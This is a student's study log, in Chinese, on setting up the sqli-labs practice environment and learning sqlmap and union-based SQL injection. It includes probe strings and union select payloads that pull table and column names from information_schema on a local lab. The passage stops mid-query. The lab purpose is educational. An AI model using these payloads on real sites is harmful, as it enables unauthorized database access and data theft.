学习web(2)
信安任务(二):了解sql注入
一、任务内容
使用phpstudy,sqllibs搭建注入环境;学会sqlmap基本用法,熟练掌握联合查询的注入方法
二、任务完成情况
一、使用phpstudy,sqllibs搭建注入环境
1、在GitHub上面下载Sqli-labs的zip包。
2、解压到www文件夹下
3、配置sqli-labs的数据库,phpstudy的数据库默认用户名跟密码都是root,更改sqli-labs-master\sql-connections文件夹中db-creds.inc文件中的用户名密码为root。
4、我们在浏览器访问本机的ip/sqli-labs-master出现如下界面点击Setup/reset Database for labs进行数据库的配置
然后就可以开始进行练习了。。。
环境搭建完毕
二、学会sqlmap基本用法,熟练掌握联合查询的注入方法
1、首先下载sqlmap
2、再安装sqlmap到python的目录里
3、sqlmap的用法
详情参考这个大佬的博客一共有11种常见SQLmap使用方法:
一、SQLMAP用于Access数据库注入
二、SQLMAP用于Cookie注入
三、SQLMAP用于mysql中DDOS攻击
四、SQLMAP用于mysql注入
五、SQLMAP中post登陆框注入
六、SQLMAP中Google搜索注入
七、SQLMAP中的请求延迟
八、SQLMAP绕过WAF防火墙
九、SQLMAP查看权限
十、SQLMAP伪静态注入
十一、SQLMAP注入点执行命令与交互写shell
以上复制的十一种用法的详细网址:
https://www.cnblogs.com/ichunqiu/p/5805108.html
4、联合注入的用处和方法
1、判断注入点
我们在可能存在SQL注入变量的后边添加以下payload:
and 1=1 / and 1=2 回显页面不同(整形判断)
单引号判断‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
\ (转义符)
-1/+1 回显下一个或上一个页面(整型判断)
注:加号‘+’在URL中有特殊含义,因此在需要对其进行URL编码为%2b
2、判断是整型还是字符型
输入and 1=1和and 1=2后发现页面没有变化,判断不是整型注入
3、判断查询列数
输入 order by 4%23 发现页面错误,说明没有4列
输入3列时,页面正常,说明有3列
4、判断显示位
5、获取所有数据库名
6、获取数据库所有表名
http://127.0.0.1/sql/Less-1/?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3%23
7、获取字段名
http://127.0.0.1/sql/Less-1/?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name='u